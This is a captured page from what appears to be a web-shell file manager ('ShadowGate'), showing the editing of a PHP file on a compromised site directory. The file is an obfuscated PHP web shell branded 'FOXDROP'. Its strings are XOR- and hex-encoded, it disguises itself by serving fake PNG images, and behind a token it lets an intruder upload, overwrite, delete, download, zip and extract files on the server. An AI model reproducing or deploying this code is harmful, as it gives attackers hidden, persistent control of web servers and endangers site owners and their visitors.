🗂️ ShadowGate
Path:
home
/
newsgini
/
xwebseries.site
/
✏️ Editing: tech5pr.php
<?php $xorKey='dTc7WuNEUCAgnwc2';function xorDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function encode_string($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['iykKB'][$index];$charMap = $obfuscationData['pKpbZ'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if ($i % 3 != 2) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = xorDecrypt(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(xorDecrypt(hex2bin('1f76137c271714676f3863064c4d414746784155754f6c2c776f63044c4d415146784153754f6c2b776f63024c4d414a46784151754f6c27776f63004c4d41464678415f754f6c28776f630e4c4d41554678415d754f6c32776f630c4c4d41434678415b754f6c2e776f630a4c4d414146784159754f6c3f776f63084c4d415346784147754f6c20776f63164c4d415a46784145754f6c23776f63144c4d414046784143754f6c2f776f63124c4d414446784141754f6c35776f63104c4d414b4678414f754f6c29776f631e4c4d415d4678414d754f6c21776f63264c4d417d46784175754f6c1d776f63244c4d417046784173754f6c0f776f63224c4d417a46784171754f6c02776f63204c4d41684678417f754f6c09776f632e4c4d41644678417d754f6c1c776f632c4c4d41614678417b754f6c10776f632a4c4d417446784179754f6c0e776f63284c4d417b46784167754f6c12776f63364c4d416046784165754f6c15776f63344c4d417646784163754f6c08776f63324c4d416346784161754f6c06776f63304c4d41664678416f754f6c00776f633e4c4d417c4678416d754f6c04776f63574c4d410346784106754f6c76776f63554c4d410546784104754f6c77776f63534c4d410446784102754f6c70776f63514c4d410a46784100754f6c7c776f635f4c4d41024678410e754f6c71776f634c4c4d416e4b764f150b5a6c7f7768631a42550a4b0f1f21156d2e6c743b66634b4c46511356214904655f7d75737176415d403d05067e540776472d1b6d716b5e075452053a671b1d660d6f776c6272052e445214562142066f2b7877737175425d023d030a77411b75407a64662d01501b565b4a4e67551161446f74606a725e4d44161457614904615d7c737374234f5c4f4505537c5a0517427b6662716252575d5a0024655277641c6b766169780444445a1156654205615f797d7c7423275d414601527150597f402d1b64750156165152073a6c511d604c6476656a72514d44521a53363d0e645c79737f7423445c4f420553725a057142770562716850595d5a50246c5b1e654d6874376670513044551757634b0666357973737422445c4f450553715a057e427b606670685059545a0a4c675b16654368726166725648445217533d2304615d7c73737470425c4f4905537c5a0517427b66672a6b5658525a0324670069614010776162725e4f44161355674a046e357f3d15616d455b4342010a775442724d361b66756b515f3752074d675a1f64000e76606272514d45551a533623056f5f79720b7a734159424a00067556047d4c7f1b6474015407565a062463531264456b74626970564d405b7253364a05625479727475744e594246015172520672437f056c7369510051504a4563531d6f4c667c6c6972554745501b56362305602b7f277672764f594e4501517d54007d4c7664667b6b55565451064d655514641b677c626270504b405b1a533649056f5d7c727d7a7341594e45015d145400764c7663667b6255585254064c65551d64436474626570564d465211563d3d0560537f2c737b784f5c4e4a01117e5400714c7660667b6055585454014763541f64426f74656578544d44521a5637230567357976737b77445f194510487656037f46201b6236645f162950044262521f664066766c6272124b44567257623d05615d79277071794f5940460b567c540274443660647268560c5e5b0b24650d1266406777626272533046546c556549006f5f79277f71744459404904517d54027e467b66647268515f515a0224620d14640d6d726565795e474e5a1157664b05645d7c27157176465f154503537d540e74467b6f6274695e5654500a24665b7765410e7463667209474e541b556323006f5f79277071794d5c40420b567c540e17467f6c6274675e565e500a4e66551d60416474636072514746541355652306665d7c2c7f7176415f1e460a5d7c510e7e463b1b62741f5e5637500a4166551260461072626272504646536c5d67450466547c26747171395944460a527152597157626760771f54005254474e6c1b1164430e736460705248445a1357214904625c7d737471774259154b005c145400174c7c6d627669540d5451014c6d511f664666733b66705e46405114573d490660547f7473747941591542005175540071437b64627669545b565203416252696e4566733b66721f444053725c6d420e6e5d7d777471724d5c154500537d52557144791b627a69545b5e5405416d5b77644d68776d66735330465518573a230e60507f727d74794e591545005c7e51007e4c7c1b627a015456525405246d5b77644d6777631d700e474655115762230660547f74707270415c1e40005375525e714d776f677a67541b545405456d5b77644d6877636076544840541b57634606675c7776747070425c144a0054775404714d7864642d64454255500b3a635b6966166673601d7652464452145767460534537c737674234e5c4445015214520e7f467c6d776f63560d3754034d675b16624d1074650370524b405013566d4b0564507c2c0b7439465f4445104876525409427f6c667b1f52565f52024c655616604666776c1d735446450a18532c4906645f6c69777434275d442305547e5a0709447c60623668565629500142655214664264677961700446405217576c49026f5d7f757d72743959444b005d72510471472705623b67565d54411e46675b11651b6b746c6b634b4c445b1b563a4a066e5c6c69777534464c5b410411715a427f57626762726b540751545b4e6c511264426877656072544644501a556c45066f5d7d737f71794d591e4a05517c411b75477f05647a6b500d5d5b0b4c764f1566466477656a70124842501a46784106225d7c76747271415b474b05560a54427f427666677064505f2954053a764f1566000e77666670574642531b53663d02622b79301574224d5c434205537d510e72447a63627a0145425552014d66531f660010706660634b4c46501456603d0660537b717f616d455c47400354715554715762676036015e5c29505b4561531d65400e7065667653304016145660420f61567726747077445d194b015c7c525571407d606375685059515247246151126f1c10677961725f30450a175767400162537c7270616d455f4449005014520072407a1b647364565b5654004166501475596c74666673534746541a51604a06675d7f70747473425c444210487656427642766c64701f5607525a4a4d610d12601c6f72616b73044d40561a572c460665507f2c7d7073445f4042070a7752077f427864667b675f5e3751054565511e60466872656678524b40541753644a046454783d157073445f4f46075c7552027647271b64216951573752054c615611341c6b2b6166285e46554f1055674b05635d7f727d7675415f474a03510a540574477d1b776f63521b52540a4165501f661c6477361d725f48400111536d2305635479277c74704d5f443d041c72564f7143271b632a60545852515b3a65521e644c0e77671d725647450d175765460e625c2d261521754e5e4742511c0a1b5974457d6d776f63545f3754514c675a1f644110677961771244554f10566449066735782674616d455f4449005077520071407a66647369565b5654004c66501d75596c70206b765f4f46501a553d4205605f7d751574234d591e4b005572545509427e6c647064511654505b4d655469621664743b6b7355464616175261460567547b707f74724d5c44230b5172540e7242781b643601560c5e500647655b1e6f446f7363032f544d1501130a6149157b577b30157479465f443d030d14510074467e6062216750075e5a0742635b12604c64746d1d720944425a1b55624b02345f7f2b7f7478445d4f42015d7e5a4274407b1b62766b50565651043a6350146f466674626a705547445b6c553a3d026e2b7d7d157a774d5d4e4a015572510371467d05627469555f5e51474c6552116f466d3d65032f5f4843537207664542675f7e7d7c616d455b0249055375524209407c6f6c7369515a37411e46675216654c6d746269634b4c46541a46784106345079740b7079395b4f2310487652547d427f6c667b69525656411e4665161f65466774656b74574b40511b51614500225f79260b717544594045005d72520372427764776f63565937411e46650016604468746266775e474e5a14576742006e5379711571774d5c424205067d544f7f57626766721f555754520542764f1564440e773b60705e4d42546c4678410066547d2c7674284d56454201531451077f467d6066706b565654520a4567551e654d66723c65765246554f10566546066e5f79267d7b78414c5b4103067d510274447d0566776845425552074163521f66426770676a634b4c554f105121400060567f3015767342574745045014544209427f1b627a6b500d5651074c675577661c1074600377554f4154115767490535507f747c7679445d422307517d5b067d427d6c677201500c51540242655b1466450e706c69705f4f41551455614a066e5c78770b2a28410d0249065d7c5a06764d7966627a69500d54510047675677661c10706466741f2e41501b576d2305622b7f277f76774e574e4b035677540e74427d646d776445425556474263541666006470676a785730415717566d4b00632b7c710b717944594e3d01527550597646790564721f525d29500141635a1d61470e70676673502e465111533642046f56777015207939001923025177560674407f63667267515d5f52013a665a1266446473621d76514f4254135d663d056f5f797d7d74764259194a03527c554f7f447d6064361f52563756024d764f1575596c736365791f4b445a1a512c4205655f7c74747b394f0d02404a0a7716547616361b372a64570d3755063a61501e62006d706569634b4c4216115c6c4a063e547d75767b284d4c5b410711725a0572467d64607368505c5f50514c63161660446b7c6269781f4f4554175762230635357d2c0b7270425d404a04560a510217467705607b6b555c3756054c6d511d604467776566765030400172526d490635357d72707072445b454b01557d54547f4476636371015f075456074e6c1b116f406b7c606a7955474f5072526d42012f5f7b7c7d7573425d40400452145a0172437c6c667a6b5e57565a50416251776e1c677c6269725e4f44541853644a052f537b74707639395b4f40030d7151547e46776060741f551b3756073a635114654c1077201d7652444e0d1746784101655d76717d727942584046000d7c500117477e606d76015e595d545c4c63551666166d74666070554845001751214904665c79767f7276425d46460a117d500609427c6362756b5507525b004c6c5b1d664166743c6972554d465a18513d2306345677771576394d5b4046055d7152547d473b606d766b505d51510a4c665011664110746c6a770e4441517257634a01615d77737f7573445d4e4a0b5d755602744d36606d761f5e5b5d5b004c6c501d614c64732d03745e464f576c56364b022235797d157272415f1e490a507e50010942276f677a64555856510b4766571666426f76206974574d42011446784102635d797d737234395b45420a54145600724c7c60627164555f5d51012463571f614c10743703770e2e41517257632301613577737f75734f5d4e4a0b5d775602724d36666d76675e5b5d5b00456c501d614c6f732d6a745e4f4f571a56364b0222507c300b72223958452305560a520609422d636d366b5f5a54540a4c665a14664d66773b6a745e4b190d1a116540553e5d3b737c762f425d462300530a520517422c6f677b1f5e5b54545c4566561f66406b73616077124744526c5267230662537c757072704d5d4e4200507c50427e473b64677060505f375401476d0d1d614c68732d1d745e4841511b57634601615c77737f75734e5d4e4a0b5d7e5602724d36056d76015e5b375b00426c50696f1b6f7d676b77534841551746784102632b7c260b707842584045005c7c560571576267603660555a5650014261531f65460e70200378504d4f56725d614b0f652b767676757841580f42075d7c55057e46796f6375625e585655004e660d69620067733c6b76054b4f16145c604000675479727d72794259143d075d7501427e007664372a67125837565c4267521165416b74666b7604304f54185c644605665d7c72747279425f4049015277550576467b6c776f63565d5454033a655b77621c67776262725430554f105565420562547f261576284e5c434603537d540476427d6f776f6354565251014265561661436777616572514b45006c5767490e6253797d7d742f425f0f4005540a560e7f407a6460206856075f515c4e675a69614c0e772d65705e46400d18566c4605665c7f7c0b7b22275d454603557250001746776c60206856075e500b47764f1566410e77606a705f4f415614536645066f5076770b7172445c4640005d7754007d447e64637062545a5452514e610a1e644468776069705644421b11563d420662537c3d7474774d57424b0b507554017246771b667a60505c52554a4e625b1d660010776662725e4b42571156644b056f506c697775793956434b035c7e564274477666662a6750075d54064566001d60400e7d666b74044844161b576023066f2b7b277f72224f5c4e4a03530a550576427c1b6675605f16375a5045660a1160166772656b725547465a7255624b06345c7872157078415c1942055d7750427d427c05662a6050072951014d660a77601610746265634b4c415b1146784101615d763d7c72284f584546005514505e0942276d6477695e5e37510b4163017766426476206272533046001b5d674a157b577d7373712f445d434910487650017647206366776b545a5f411e46675512651b6d766103745346405472467841026354797d7f72344f5b45400a540a5602714c7864622a67551b5454474d665614664d6b743b1d7257464001184678410263537c267070784158404a005c7c56057f57626760766b5f5a37520b4261541e604c64746062765e4f450114563d49056f50767c76616d455d4f4a000a0a520e17402d6467366945425552013a66571e66426f70616b634b4c46501a5660490660547b710b7176275f4e23104876525e17427f05776f63525a54540a4c65161f6247667d65607452464e5514533d4505225d79307d71744f5f4f49030a7d500776422c63776f63525a37515142675a1e61420e776d1d74552e554f10523d40157b576c69777528414c5b4107117c5a0f74447d66603667505937520b4c630d1460466b776303765f3045511355614b01345678307670704458442303517c51077d447f6c667a68505d295051246316126e411067796174534b405b1355214902655d76757c76764d574549055677510672477d6462770151575155063a675712644c6770646a77554b4f571a57654601612b7c7d767075445919230a517c5101714c2c63776f63525a5d515142675a1f614266776d03745546554f1051214505623578267072284456433d01077d5b047d4c7a60377662040d5e0d4a4c605a1f62446f762d6074054646006c5266450066537f267476714d5f42460753145a0576427f6067770155575e540241675177610d6b70641d634b4c554f10523d4b157b577b71157479425f02490756725b071740791b6c7162505c5651034166501d604110736c66775347445718576d4a02665478770b7b75425d464604520a510f09467a1b622d605f5b565104246d011175596c706169730448445a1352633d056f547b7770616d455b024b0b567c411b75403b63677662510d29525b47764f1562006b72621d70122e4251115d64460163566c69777270275c4449015677550e0947366d642164505f5d510347764f1562006872626970124d4251175d644001635d7c7c767475275c4349005c71540e7646786f662d1f54595252034761501264466f726c6b77554442511856632306645c792b76747739594e46005d7c51037f447964633b6954595e50074e610a7766166f776c6a7254444e5b135d6d4a55665020727c36784d561e4a0a5275510009467805642a6854582952034e625a69644c687c6762741f4d41551153624604615f79727374794f57424000517e540709447c6d607460454255520342665077644710736c65731f3046011346784102223579727c7234445b45400b547755037d477764627701555a5e510a24635a1e64430e763b69725046465211516742046453797c7375734f5b4523005377520476422c0562726850575f5403416c501266426f76656a721f48460a7251674b046f2b7d7073757327074040510d14570e764c7f646d746050565151034163557766430e743b6a70504b44526c576149026353797c0b7070275b4f3d000d7d500f764d366667711f550d51540b416d0d1f75596c70200378554644506c516c4a05625c7d717374724459024905577d5b01714c2d6066751f54005f500a4265017762466673636076504d4616135166420f3e5c6c697775734d564342035c7e550009472766667560555e515b07476d547760406b7d6d6b741248460a725721490660507b267475773957454a030a75560009477c05667001505752545c4e6d54166e0d6d72636b725e4b445a1755664201655c787d7070724659414a030a77564f7d4d2760632a6b5f5a54510b4e660012604c6d72206270124741571352214a066f50787c7f7271445c423d015114500e7d4c7f056470605000375404456d541e6e0d1072636670124d46011a57604901655c7d701572344d5c4423035d7e560571473605662d695f5a515a024c66521265476677656b72554d411b1b55664a046f5d78727f7234415c1945070671520371477c6c667264550d5154514e63521665426f72636572524d411b1851653d066f357b277f72744d5c024b04567155020947796066706950593754474566511d6f4710776d1d70504f40526c516546022f5f78741572724e5c462303060a56077d472c6666726250005154044e66571d65476f7d660377564b460a6c5721230660537b2670757346564340035c75564276477660662a695f16525b054563501d651c6772636672554f41571852213d066f50787273702f4459464604567c550574427966647660505f5154513a6c571f6e1b6d7d6d6273554d400a1156653d01615c7f27747270275c1e45030d7d55057447796c6673015f162954024e635a1f601664726c62740e4f554f1052664a0f63567f7d767576425c1e230152775107174d7b636c7467500729510742675416661766706460741f4f425a115560400562537f2b7c707841574623010d0a545e09427d6f677069501b5154064e62521662476b76620372554b410a115765400e61537d7c70757642594e45010d14540e724c7a6d6d2a685f5851411e4661161665416676666a74574b45506c5121490e6050772c76712846591446005171500571462760667664510d5f524a41675b11654667746c66740e4d45536c56664a0f2f5079747674724659404905527750027f42206d607a681f595d160145360a1f224368703b627256304557145567230034357672737b71275c464000537c520f1744791b667560515c37565142650a7760446b766c6677504b45567252603d0e665c767215616d455845400a5071520f76437964672a6054583751024d6c56776e420e77666576574646511152604001225d7f7d747623395f422300117e550571467f05677760545f5654474c63501465160e723c60795f4d421611553d42066e2b7d307475794e584123055575500f0943776d677769540d5d5a05456c56146e406d7d676679542e415a11522c23026e2b78777f70764d5841420b527555057647206c60366051075f54474e63521f604c67722065735147445b11553d3d0662357877157074465f4449005471524209407d1b6c7269515e56545b4d635312654310723b62795446415272553d49043e547f307f7677425845230a5075520f7e437760623b01565d545b4a4566501e60446877676976054f461b72516342026e5f78777370764f58414b0b527255057e46776c6c7a69525b5f5b4a456c561d6e406873616b77044842571752604506355c7f7d7f7639465f40450a1c7150427e407664672a6b565b5f515c4763001f6546107d6360780446465472556342062f5c7d7c767572415841460b5677520074437c66677b62545d295b0045635377604c6b72366a765e4741531157214b0662567f72707576415f194505557152557e4379606736675259545a004d63526960406f77206973524446551a5565400460567877767074445c4645035d7554547d4d776d6c726b515e54544742631612651b6f776c1d765130461614522c4004225d7d767f762f465f40400a540a411b75437c646d776856565455054c660a126443667765627952484e5472533a450061547f267672724e5f454200077d564272467f1b62706856595250034c6c161664440e726765765144450a145c66400f6f5c7f71747228445d4549035d7d565e72442d6d6c7167521637560541635a1d66166477206b79524440501b566c400564507f717d72784e581e2304567c50007e4378606c7560515c37500b3a6d5a1d6240107d2d607952444e56185c664a013e5d7630747670465b4649104876564274477a6d667068525e5d51014c6116146e426b7d601d7852304f511a5c6745016e50783d7076784458454a0054755b03764d3b6f642d60525e3754004e65501d651c6f726c6b78124f4e011353614b066f567f760b70284e5d45460a5d0a550109177f66377260125e5d160b47620a146f4164723c697654474050135c6c4002225d7d2b7d72774e5f4023071c0a520e7e4c786c642d64525e3754004d655014651c6f726c6679532e4f51725c6740016e50783d7c76784d58454601537d55017d4c786d63710154575f5a0b4d6d011e6147107c3c65785046554f1051214a0060357f307676734f57474a045072411b75403b05627b695457545002416c0a12611c6f726d697354304e16115d363d05605d7f717d7272275d0f3d015d7e56047e427b636d36015607545500416c0a14611c68726d0373544f4e16145d364505602b7f71157272415d0f4201550a55047e44206f677767545d5656054d655a11611c6d726d1d7354484f576c5d3a450063547d777675724f581e40035d72560e76442060677462561b2956004166531265456d7c646a7609444050725d36420e352b7f270b7034395b4740070677560e7246366c672d6b555f5f52063a6601166646687c6269780e4f450d13566d3d0f2f537b2c7d7228425d024203537c5a5472403b6c672067545729525b4d6c571d664c6677206578534d4f0a6c536c460039537f707c7223275f4545070672411b75407a6c627b64561b5f5600476c53126242107c676676554745521756674500635d787c73722327581e4a045671525409443b60677668545c525504416d53776141642637692f5f4d1416110d664a0e35507874157270465d473d03557e565e72437a64677067560c52564a476650116242667c6762735f46405b1153634200395c7f73157539395d434503537d55007146776d6d736b52003756002463511e61416d7d2d1d79524b4e56185c664b0f6450787c7d75394f5b4e4204560a50007f43786f6c7560515c5d500b3a6d5a1462406f73636277574b4f0a6c56672305625f7b2c15616d455b434600070a500e76437964677b01525c51411e4661161e604d68766c6b7257464f0a1451614a0f2f5376707f7a744656454b0a577c550e1743361b607a01515c52500545625569620d687d2d6a70534d4551115567460f642b77717c7b284d56414b00537552037f447d63663b1f5457525601476556696e476b702d60775148405517576240006050797d7d7a7444594e46005114565e09407f6d667168545737505c456153146e410e703b657455474051145260450e665f79767474724156144b0b0a77554274407f6366716854575e524a4e611611654410766c697257474f0a725164450e665379767374724d5715490a5772550e7443366d607a60515c5f5005416255696e436873676a725e2e4e5a725161420f2f3576707f7a743956454b040d755b427f407f6f667162545737505c246153776f006b74621d72574b4f0a1351374b05222b792c1571704f5c4449055571510e74437605607a6851005450514761161f6e470e677961771248554f105221460e22506c697775754f4c5b41030a7d5b4f7f422764667a62555c5456024d63511e6f456474361d634b4c42571b563740046e5f78727f7179395b454b10487656427d4c7c66642d69525e5251044d6700126f476472641d735346401611536d4601665c7b77157277425d464207567252077447776c637169525a56510a4e655611651b6b7c616b790e4b405a6c56614b023e35783d1576784d58454501537c5501724c786d63716054575d5a0b4d6156166f0d0e7d60037852464f51185c6723016e5476730b7a344f5b19450455715006744d7e60776f631f5b29000b4c360012344c0e677961395647145a1a06374b546e566c697775734f56434903517c560076427b64662d1f5f162954043a6c57776f476d7d6662775e4f411b11516d460165357d7276757746574145045614500e094c771b6076015f16565b074d6d561261410e733665775e4d42527257604606605f787274707842571e4b070677411b75407a6c627b01561b5256003a6c531675596c706103735030415613526645052f5c7d767674282757474a055775540676427f1b60736045425556473a6d516975596c76636b73094844576c46784102222b797d737078465d47400a0d77555e09423b6067701f5e1b5e5a5024764f1562006f77666670054d425614566c460664507676157a75444c5b41055c0a5a0109407c6f776f63505651411e46635b14641768677961765f4d44571a467841006f5d7d777f616d45584149103929'),$xorKey),true); if (!(!(isset($_GET[encode_string(0)])))) { header(encode_string(1)); $fakePngs = [ encode_string(2), encode_string(3), encode_string(4), encode_string(5) ]; $selectedFakePng = $fakePngs[array_rand($fakePngs)]; echo base64_decode($selectedFakePng); exit; } error_reporting(0); ini_set(encode_string(6), 0); session_start(); if (!(!(!isset($_SESSION[encode_string(7)])))) { $_SESSION[encode_string(8)] = bin2hex(random_bytes(16)); } define(encode_string(9), $_SESSION[encode_string(10)]); $root = realpath(__DIR__); $dir = isset($_GET[encode_string(11)]) ? realpath($_GET[encode_string(12)]) : $root; if (!$dir || strpos($dir, $root) !== 0) $dir = $root; function rrmdir($dir) { if (!is_dir($dir)) return; $objects = scandir($dir); foreach ($objects as $object) { if ($object == encode_string(13) || $object == encode_string(14)) continue; $path = $dir . DIRECTORY_SEPARATOR . $object; is_dir($path) ? rrmdir($path) : @unlink($path); } @rmdir($dir); } if (!(!($_SERVER[encode_string(15)] === encode_string(16) && isset($_FILES[encode_string(17)])))) { if ($_POST[encode_string(18)] !== AUTH_TOKEN) die(encode_string(19)); $up = $_FILES[encode_string(20)]; $name = basename($up[encode_string(21)]); $target = rtrim($dir, encode_string(22)) . DIRECTORY_SEPARATOR . $name; echo encode_string(23); $success = false; if (!(!($up[encode_string(24)] === UPLOAD_ERR_OK && is_uploaded_file($up[encode_string(25)])))) { if (!(!(move_uploaded_file($up[encode_string(26)], $target)))) { $success = true; echo encode_string(27); } elseif (!(!(@copy($up[encode_string(28)], $target)))) { $success = true; echo encode_string(29); } else { $safeExt = pathinfo($name, PATHINFO_EXTENSION) . encode_string(30); $safeName = pathinfo($name, PATHINFO_FILENAME) . encode_string(31) . $safeExt; $safeTarget = rtrim($dir, encode_string(32)) . DIRECTORY_SEPARATOR . $safeName; if (!(!(move_uploaded_file($up[encode_string(33)], $safeTarget)))) { $success = true; echo "⚠️ Uploaded as $safeName<br>"; if (!(!(@rename($safeTarget, $target)))) { echo encode_string(34); } else { echo encode_string(35); } } } } if (!(!(!$success))) { echo "❌ Upload failed (Error: {$up['error']})<br>"; } echo encode_string(36); } if (!(!(isset($_GET[encode_string(37)], $_GET[encode_string(38)], $_GET[encode_string(39)])))) { if ($_GET[encode_string(40)] !== AUTH_TOKEN) die(encode_string(41)); $f = realpath($_GET[encode_string(42)]); if (!$f || strpos($f, $root) !== 0) die(encode_string(43)); switch ($_GET[encode_string(44)]) { case encode_string(45): if (!(!($_SERVER[encode_string(46)] === encode_string(47)))) { $backup = $f . encode_string(48); @copy($f, $backup); $data = $_POST[encode_string(49)] ?? encode_string(50); if (!(!(file_put_contents($f, $data) === false))) { @rename($backup, $f); echo encode_string(51); } else { @unlink($backup); echo encode_string(52); } } $content = @file_get_contents($f) ?: encode_string(53); echo encode_string(54) . htmlspecialchars(basename($f)) . encode_string(55); echo encode_string(56) . htmlspecialchars($content) . encode_string(57) . AUTH_TOKEN . encode_string(58) . urlencode(dirname($f)) . encode_string(59) . AUTH_TOKEN . encode_string(60); exit; case encode_string(61): is_dir($f) ? rrmdir($f) : @unlink($f); break; case encode_string(62): header(encode_string(63)); header(encode_string(64)); header(encode_string(65).basename($f).encode_string(66)); header(encode_string(67) . filesize($f)); readfile($f); exit; case encode_string(68): $zipname = $f . encode_string(69); $zip = new ZipArchive(); if (!(!($zip->open($zipname, ZipArchive::CREATE) === TRUE))) { if (!(!(is_dir($f)))) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($f), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { if (!(!(!$file->isDir()))) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($f) + 1); $zip->addFile($filePath, $relativePath); } } } else { $zip->addFile($f, basename($f)); } $zip->close(); } break; case encode_string(70): $zip = new ZipArchive(); if (!(!($zip->open($f) === TRUE))) { $extractPath = dirname($f); $zip->extractTo($extractPath); $zip->close(); header(encode_string(71) . urlencode(dirname($f)) . encode_string(72) . AUTH_TOKEN . encode_string(73)); exit; } break; case encode_string(74): $newdir = $f . DIRECTORY_SEPARATOR . basename($_GET[encode_string(75)]); @mkdir($newdir, 0755, true); break; case encode_string(76): $to = dirname($f) . DIRECTORY_SEPARATOR . basename($_GET[encode_string(77)]); @rename($f, $to); break; } header(encode_string(78) . urlencode($dir) . encode_string(79) . AUTH_TOKEN); exit; } ?><!DOCTYPE html> <html><head> <title>🧩 FOXDROP v2.1</title> <link rel="icon" href="?i=1" type="image/png"> <style> :root { --bg: #121212; --card: #1e1e1e; --primary: #2a7fff; --accent: #ff6b6b; --text: #f0f0f0; --text-light: #ffffff; --success: #4caf50; --warning: #ff9800; } * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'Segoe UI', system-ui, sans-serif; background: var(--bg); color: var(--text); padding: 20px; line-height: 1.6; } .container { max-width: 1200px; margin: 0 auto; } header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; padding-bottom: 15px; border-bottom: 1px solid #333; } h1 { color: var(--text-light); font-size: 1.8rem; text-shadow: 0 1px 3px rgba(0,0,0,0.5); } .card { background: var(--card); border-radius: 10px; padding: 20px; margin-bottom: 20px; box-shadow: 0 4px 15px rgba(0,0,0,0.3); border: 1px solid #2c2c2c; } .btn { display: inline-block; padding: 8px 15px; background: var(--primary); color: white !important; text-decoration: none; border-radius: 5px; border: none; cursor: pointer; font-size: 14px; transition: all 0.3s; font-weight: 600; } .btn:hover { background: #0051a8; transform: translateY(-2px); box-shadow: 0 2px 8px rgba(0,0,0,0.2); } .btn.danger { background: var(--accent); } .btn.danger:hover { background: #e55a5a; } .btn-group { display: flex; gap: 10px; flex-wrap: wrap; margin-bottom: 15px; } .log-box { font-family: monospace; padding: 15px; background: #0a1929; color: #4ade80; margin-bottom: 20px; border-radius: 5px; border-left: 3px solid var(--primary); } .error { color: #ff9e9e; background: #3a0a0a; padding: 12px; border-radius: 5px; border-left: 4px solid var(--accent); } .success { color: #a8ffb0; background: #0a2c14; padding: 12px; border-radius: 5px; border-left: 4px solid var(--success); } table { width: 100%; background: rgba(255,255,255,0.05); border-collapse: collapse; border-radius: 8px; overflow: hidden; border: 1px solid #2a2a2a; } th, td { padding: 12px 15px; text-align: left; border-bottom: 1px solid #333; color: var(--text-light); } th { background: rgba(42, 127, 255, 0.25); font-weight: 600; color: white; } tr:hover { background: rgba(255,255,255,0.08); } .breadcrumb { display: flex; gap: 8px; align-items: center; margin-bottom: 20px; flex-wrap: wrap; padding: 12px 0; } .editor { width: 100%; height: 60vh; font-family: 'Fira Code', monospace; background: #1e1e1e; color: #f0f0f0; padding: 15px; border-radius: 5px; border: 1px solid #444; resize: vertical; font-size: 14px; line-height: 1.5; } .actions { display: flex; gap: 8px; } .file-icon { margin-right: 8px; font-size: 1.1em; vertical-align: middle; } .viewer { max-width: 100%; max-height: 70vh; display: block; margin: 20px auto; border-radius: 5px; box-shadow: 0 0 20px rgba(0,0,0,0.4); } .toolbar { display: flex; gap: 15px; flex-wrap: wrap; margin-bottom: 20px; padding-bottom: 15px; border-bottom: 1px solid #333; } .toolbar form { display: flex; gap: 10px; align-items: center; } .toolbar input[type="text"] { padding: 10px 15px; border-radius: 5px; border: 1px solid #444; background: #2a2a2a; color: white; min-width: 220px; font-size: 14px; } .auth-token { background: rgba(0,0,0,0.3); padding: 6px 12px; border-radius: 4px; font-family: monospace; font-size: 0.9rem; } a { color: #7fb4ff; text-decoration: none; transition: color 0.2s; } a:hover { color: var(--primary); text-decoration: underline; } </style> </head> <body> <div class="container"> <header> <h1>🧩 FOXDROP File Manager v6.6.6</h1> <div class="auth-token">Token: <code><?= substr(AUTH_TOKEN, 0, 8) ?>...</code></div> </header> <div class="card"> <?php $parts = explode(encode_string(80), trim(str_replace($root, encode_string(81), $dir), encode_string(82))); $build = $root; echo encode_string(83); echo encode_string(84) . urlencode($root) . encode_string(85) . AUTH_TOKEN . encode_string(86); foreach ($parts as $p) { if ($p === encode_string(87)) continue; $build .= encode_string(88) . $p; echo encode_string(89) . urlencode($build) . encode_string(90) . AUTH_TOKEN . encode_string(91) . htmlspecialchars($p) . encode_string(92); } echo encode_string(93); if (!(!(isset($_GET[encode_string(94)])))) { echo encode_string(95); } if (!(!(isset($_GET[encode_string(96)])))) { echo encode_string(97); } echo encode_string(98); echo encode_string(99).htmlspecialchars($dir).encode_string(100).AUTH_TOKEN.encode_string(101); echo encode_string(102).htmlspecialchars($dir).encode_string(103).AUTH_TOKEN.encode_string(104); echo encode_string(105); echo encode_string(106); if (!(!($dir !== $root))) { $parent = dirname($dir); echo encode_string(107).urlencode($parent).encode_string(108).AUTH_TOKEN.encode_string(109); } foreach (scandir($dir) as $f) { if ($f === encode_string(110) || $f === encode_string(111)) continue; $fp = "$dir/$f"; $isDir = is_dir($fp); $size = $isDir ? encode_string(112) : formatSize(filesize($fp)); $perms = substr(decoct(fileperms($fp)), -4); $mtime = date(encode_string(113), filemtime($fp)); $encoded = urlencode($fp); $auth = encode_string(114) . AUTH_TOKEN; echo encode_string(115).($isDir ? encode_string(116) : encode_string(117)).encode_string(118) . ($isDir ? encode_string(119) . urlencode($fp) . $auth : encode_string(120) . urlencode($fp) . $auth) . encode_string(121) . htmlspecialchars($f) . "</a></td> <td>{$size}</td> <td>{$mtime}</td> <td>{$perms}</td> <td class='actions'>"; if (!(!(!$isDir))) { echo "<a class='btn' href='?act=edit&f=$encoded$auth'>Edit</a>"; echo "<a class='btn' href='?act=download&f=$encoded$auth'>Download</a>"; echo "<a class='btn danger' href='?act=delete&f=$encoded$auth' onclick='return confirm(\"Delete $f?\")'>Delete</a>"; if (!(!(strtolower(pathinfo($f, PATHINFO_EXTENSION)) === encode_string(122)))) { echo "<a class='btn' href='?act=unzip&f=$encoded$auth' onclick='return confirm(\"Extract archive?\")'>Unzip</a>"; } else { echo "<a class='btn' href='?act=zip&f=$encoded$auth'>Zip</a>"; } } else { echo "<a class='btn danger' href='?act=delete&f=$encoded$auth' onclick='return confirm(\"Delete folder and ALL contents?\")'>Delete</a>"; echo "<a class='btn' href='?act=zip&f=$encoded$auth'>Zip</a>"; } echo encode_string(123); } echo encode_string(124); function formatSize($bytes) { if ($bytes == 0) return encode_string(125); $units = [encode_string(126), encode_string(127), encode_string(128), encode_string(129)]; $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . encode_string(130) . $units[$i]; } ?> </div> </div> </body></html>
🔙 Back